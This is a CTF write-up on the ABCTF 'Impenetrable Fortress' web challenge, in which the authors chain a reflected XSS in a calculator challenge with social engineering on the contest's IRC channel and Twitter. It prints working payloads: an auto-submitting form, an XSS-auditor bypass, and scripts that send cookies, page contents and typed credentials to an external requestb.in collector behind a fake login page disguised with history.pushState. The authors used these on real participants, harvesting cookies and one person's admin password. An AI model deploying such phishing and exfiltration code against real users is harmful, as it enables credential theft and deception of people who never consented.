Impenetrable Fortress – 200 – Web Exploitation
Some times an application is secure and you have to find another way around. Log in with admin credentials and you will receive a flag. Try it here!Hint: Gotta go around.
A national american CTF, called ABCTF, was organised by high-schoolers from July 15th to 22nd. It was pretty fun, however some challenges remained very mysterious.
Especially a web challenge, called Impenetrable Fortress. You will see in this article the way we found a very unique way of solving it, involving some Social Engineering and the exploitation of a Cross-Site-Scripting vulnerability.
This also demonstrates how using the new javascript features can lead to a powerful XSS, conducting to a very effective phishing attack.
A Proof of Concept is now available.
An impossible challenge
In this CTF, the web challenges were not really though, usually involving a simple SQL injection, or a Remote Code Execution. As told in the statement, it so happens there were no vulnerabilities in the given web page. This was a basic authentication form, you simply had to input a username (admin) and a password.
We tried everything we knew, SQL injection (obviously not working), NoSQL injection, even verb tampering (there was a 403 if the requested file was flag.txt
, turns out it was just a .htaccess rule), and there were no backup files.
We understood we had to find a way around (Hint: Gotta go around), we tried to dump the database of all web challenges, read local files using LOAD_FILE
(we couldn’t even read /etc/passwd
)… This was an epic fail, and we began seeing teams flagging this challenge. We knew we didn’t see something obvious, but couldn’t figure it out.
The (seemingly) useless XSS
Another web challenge we solved involved a calculator.
Safety First – 95 – Web Exploitation
There is a way to exploit the calculator here.
The solution was a Remote Code Execution, however it expected a precise payload ending for the flag to be displayed: ;ls
. The flag was the name of a file in the current working folder.
We’ve also seen a reflected XSS vulnerability in this challenge, for no reason.
Yet, almost every web challenges were located on the same subdomain, yrmyzscnvh.abctf.xyz
. We thought that we could take advantage of this useless XSS vulnerability, coupled with some Social Engineering (even though our most efficient member in SE was offline).
This was not forbidden by the rules, as the attack scope was still the subdomain where the challenges were hosted.
First try – private informations stealing
The form was using a POST
method, hence it implied we had to redirect the victim to our own web page, which would automatically post the form with the correct payload. We tested with curl, and it seems like the payload shouldn’t contain any space.
$ curl "http://yrmyzscnvh.abctf.xyz/web7/" -d "expression=<script>alert(1)</script>" -s | head -n 2 <script>alert(1)</script> <html> $ curl "http://yrmyzscnvh.abctf.xyz/web7/" -d "expression=<img src=x onerror=alert(1)/>" -s | head -n 2 # here, the payload is not being displayed <html>
The goal was to publicly send our malicious web page, which would inject a <script>
tag in the chall Safety First, executing our second payload located on a remote server (initially using pastebin.com). This javascript code would then:
- Get user’s cookies
- Get the content of the page located at
/lastweb/
(the Impenetrable Fortress challenge) - Send everything to our
requestb.in
page - Troll the user
In order to troll the user, the script changed the visible URL to /liorogamerdvd/
(which was an absolutely raging “recon” challenge, subject of loads of troll).
The script looked like this:
window.history.pushState({}, 'yrmyzscnvh.abctf.xyz/liorogamerdvd/', '/liorogamerdvd/'); // here we change the displayed URL document.createElement("img").src='http://requestb.in/1eyl54f1?a='+encodeURIComponent(document.cookie); // cookie stealing, yummy! var xhr = new XMLHttpRequest(), data; xhr.open("GET","/lastweb/", false); xhr.send(); data = btoa(xhr.responseText); // we retreive /lastweb/ content document.createElement("img").src='http://requestb.in/1eyl54f1?b='+encodeURIComponent(data); window.onload=function(){ document.title = "/!\\ liorogamerdvd - FLAG /!\\"; document.body.innerHTML="<center><h1>( ͡° ͜ʖ ͡°)</h1><iframe src=\"https://www.youtube.com/embed/dQw4w9WgXcQ?autoplay=1\" width=\"800\" height=\"600\"></iframe><h2 style=\"font-family:monospace\">ABCTF{Lior0_iS_rick_4stlEy}</h2></center>"; // rick rolled }
The magic about the window.history.pushState
part, is that even if you look at the source code, you do not see anything abnormal, because it requests the real page located at /liorogamerdvd/
! This is really cool.
The result was pretty funny:
The first problem we faced is that modern browsers using webkit, such as Chrome, would automatically block the execution of our remotely hosted script, because of their XSS auditor, which compares the content of the web page returned by the server, and the parameters sent to it. It blocks the execution of every potentially malicious code contained in the parameters, and the generated page (or it theoretically should).
After a very quick research on Google, we found a very interesting blog post by @brutelogic (check out his stuff, he’s mastering the art of XSS!).
Bypassing the XSS auditor was then pretty easy, the following code includes http://example.com/foo
<script/src="//example.com/foo#>
This worked, because fortunately we had a closing </script>
tag inside the <head>
tags of the page. This bypass has been fixed in a recent version of Chrome, it won’t execute anything for Chrome >= 52.0. It is surely still effective on other browsers, such as Firefox.
The final payload was:
<!DOCTYPE html> <html> <head> <title>yrmyzscnvh.abctf.xyz/liorogamerdvd/</title> </head> <body style="display: none;"> <form action="http://yrmyzscnvh.abctf.xyz/web7/" method="POST" id="f"> <input type="hidden" name="expression" value="<script/src="//pastebin.com&sol;raw&sol;RnhhiggM&num;>" /> </form> <script>document.getElementById('f').submit();</script> </body> </html>
We hosted our script on jsbin.com, and threw it on the public IRC channel, pretending our links were redirecting to write-ups of the challenges (at one moment the CTF froze, and loads of people thought it was the end).
Nobody really seemed to worry about the fact that a /liorogamerdvd/
page didn’t exist, except when you click on the malicious link (a bit.ly redirecting to the jsbin). The reactions were just people laughing, nothing more.
We stole around 75 cookies (nothing relevant, only Google Analytics stuff) and web pages. Alas, this was not what we expected, we thought someone would have a session cookie which could give us admin access to the Impenetrable Fortress challenge.
We didn’t give up, and came up with another exploitation of this reflected XSS.
Second try – The art of phishing !
XSS are really powerful, they give you total control of the infected web page. The classic session stealing failed, but we still had an idea: why wouldn’t just we simulate the Impenetrable Fortress challenge?
The content of the /lastweb/
page was very short, it was really easy to reproduce the exact same page instead of the calculator. We needed it to be as realistic as possible, in order to simulate the authentic challenge, and get the credentials we needed.
The first attempt was not perfect, because we could still quickly see the original page of Safety First, and see it was a trap.
The following code perfectly traps the victim, even if you look at the source code you cannot see what’s going on, as it requests the real /lastweb/
page:
window.history.pushState({}, 'yrmyzscnvh.abctf.xyz/lastweb/', '/lastweb/'); // look at the source code? nothing suspicious ! var i = setInterval(function(){ document.body.style.display="none"; }, 1); // using window.onload was too slow document.title="yrmyzscnvh.abctf.xyz/lastweb/"; window.onload=function(){ clearInterval(i); // stops the spam document.body.style.display="block"; document.body.innerHTML = unescape("%3Clink%20rel%3D%22stylesheet%22%20href%3D%22/lastweb/main.css%22%3E%3Clink%20href%3D%22https%3A//fonts.googleapis.com/css%3Ffamily%3DInconsolata%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%3E%3Cscript%20src%3D%22https%3A//ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js%22%3E%3C/script%3E%3Clink%20rel%3D%22stylesheet%22%20href%3D%22https%3A//cdnjs.cloudflare.com/ajax/libs/materialize/0.97.6/css/materialize.min.css%22%3E%3Cdiv%20class%3D%22row%22%3E%3Cdiv%20class%3D%22col%20l6%20push-l3%22%3E%3Ccenter%3E%3Ch3%20class%3D%22white-text%22%3EWeb%20%7E%20%20%3C/h3%3E%3Cbr%3E%3Ch3%20class%3D%22white-text%22%3EYou%20know%20what%20to%20do%3C/h3%3E%3C/center%3E%3C/div%3E%3C/div%3E%3Cdiv%20style%3D%22margin-top%3A%205%25%22%20class%3D%22row%22%3E%3Cdiv%20class%3D%22col%20l4%20push-l4%22%3E%3Cform%20id=%22fofo%222%20action%3D%22%23%22%20method%3D%22post%22%3E%3Ch5%20class%3D%22white-text%22%3EUsername%3A%20%20%3C/h5%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%20id%3D%22textBox%22%20required%3E%3Ch5%20class%3D%22white-text%22%3EPassword%3A%20%3C/h5%3E%3Cinput%20type%3D%22text%22%20name%3D%22password%22%20id%3D%22textBox%22%20required%3E%3Cinput%20id%3D%22submit%22%20type%3D%22submit%22%20value%3D%22Submit%22%3E%3C/form%3E%3C/div%3E%3C/div%3E"); // the original content of /lastweb/ // the following setTimeout makes sure the form is loaded setTimeout(function(){ // the trap! document.getElementById("fofo").onsubmit = function(){ document.createElement("img").src = 'http://requestb.in/1eyl54f1?a='+encodeURIComponent(document.getElementsByName('username')[0].value+":"+document.getElementsByName('password')[0].value); // nom nom nom, tasty credentials ! setTimeout(function(){ window.location = "/lastweb/"; }, 500); // when the request ends, we redirect to the original page return false; }; }, 100); }
We still obfuscated the remote payload for fun, hosted it on pastebin.com, and threw it on the public channel, pretending the challenge didn’t work anymore, and giving a shortened link still redirecting to our jsbin.
This was, uuuuh… An epic fail, people just saw the original Safety First page, without css (the <script>
tag couldn’t be closed, in order to bypass the XSS auditor). We didn’t understand what was going on, but it so happens that the Chromium browser requested the MIME type of the remote payload to be a javascript one.
Actually the mime type for the raw files on pastebin.com is text/plain
. Hence, we used 42.meup.org to host the payload.
$ curl -v "http://42.meup.org/pfbAyf1g" -L * Connected to 42.meup.org (54.192.201.106) port 80 (#0) > GET /pfbAyf1g HTTP/1.1 > User-Agent: curl/7.38.0 > Host: 42.meup.org > Accept: */* > < HTTP/1.1 301 Moved Permanently < Content-Type: text/html; charset=UTF-8 < Transfer-Encoding: chunked < Location: /pfbAyf1g/payload.js ... * Ignoring the response-body * Connection #0 to host 42.meup.org left intact * Issue another request to this URL: 'http://42.meup.org/pfbAyf1g/payload.js' ... > GET /pfbAyf1g/payload.js HTTP/1.1 > User-Agent: curl/7.38.0 > Host: 42.meup.org > Accept: */* > < HTTP/1.1 200 OK < Content-Type: application/javascript; charset=utf-8 <=== great ! < Content-Length: 0 ... < Content-Disposition: attachment; filename="payload.js"
The phishing page looked exactly the same as the original, everything worked fine. We were ready!
We decided to message an admin, explicitly asking him if our phishing page was realistic or not. If this was intended by the organizers, then he would just enter the credentials to give us an admin access, on purpose.
The only answer we had was:
lol
Okaaaaay.
We threw it again on the public channel, this time giving a link to a tweet saying:
It seems like the Impenetrable Fortress challenge doesn’t work anymore. Can you check the credentials @ABCTF_XYZ ? http://bit.ly/2a053zL
It seems like the admins didn’t even care, or were not present. A single person clicked on the link, tested it out, and said:
< foo> vic511: can confirm creds might have changed
We were like, WTF? Did this guy really entered the correct credentials? We directly checked out the requestb.in.
w00t !!! We had the correct credentials, thanks to this kind guy, and could log in as admin.
We don’t know if they had let this XSS on purpose, it’s not that difficult to escape user input.
The flag was abctf{th3_l4st_0n3_1s_th3_b3st_0n3}
!
What it reveals
This write up shows us that new features, such as window.history.pushState
could be very dangerous regarding security. This means an attacker can modify the URL as he wish, and easily trick the victim. It is similar to the issue when the fullscreen mode became available through javascript. The browsers didn’t tell the user the navigator was going fullscreen, hence the attacker was able to simulate the navigation bar, and fool the user into thinking the site was for example your bank, with HTTPS.
This is a serious issue, even though this is only effective on the site you are connecting to. In our example, even if the victim presses the back button of his browser, it won’t show the original poisoned page. Viewing the source shows the authentic page, and not the fake one, your payload cannot be viewed without inspecting elements. The basic user doesn’t know how does it work, how could he know?
Proof of Concept
A Proof of Concept is available: click here. Can you notice the difference between /fortress/realpage
and what /fortress/poc
displays ?
You can get the source of any file by adding /src
to the page you want to inspect. Example: /fortress/poc/src
.
Note: this PoC is not effective on Chrome >= 52.0. Please tell us here or in the comments if the PoC doesn’t work (stuck on the calculator page).
PS: the expected solution was retrieving the credentials stocked in another database called webnine
, using a web challenge we omitted testing (damn us).